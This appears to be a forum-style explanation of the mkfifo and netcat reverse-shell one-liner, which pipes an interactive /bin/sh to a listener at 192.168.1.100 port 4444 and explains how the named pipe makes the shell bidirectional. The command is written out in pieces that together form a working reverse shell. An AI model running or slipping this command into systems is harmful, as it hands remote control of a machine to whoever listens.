This code expects there to be a server (eg. a copy of nc
in server mode) listening on port 4444 of 192.168.1.100. When you run it, any output from the server becomes input for the shell; conversely, output from the shell becomes input for the server. Breaking the command down into pieces for easier understanding,
mkfifo /tmp/f;
: This creates a named pipe.
cat /tmp/f|/bin/sh -i
: This creates an interactive shell on the local machine and hooks the output of the pipe to the shell's input.
2>&1|nc 192.168.1.100 4444
: This takes the output of the shell and sends it over the network to a machine listening on port 4444 at 192.168.1.100.
>/tmp/f
: This takes the output of nc
(ie. data sent by the remote machine) and sends it to the named pipe's input, where it becomes input for the shell.
In a normal Unix command pipeline, output from earlier commands can become input for later ones, but not vice-versa, and a remote shell could only be unidirectional (you could send commands but not get output, or get output but not send commands). Using a named pipe lets you get around this limit, and create a bidirectional remote shell. If you're geometrically inclined, you can think of a normal pipeline as a straight line, and the named-pipe construct you found as a circle.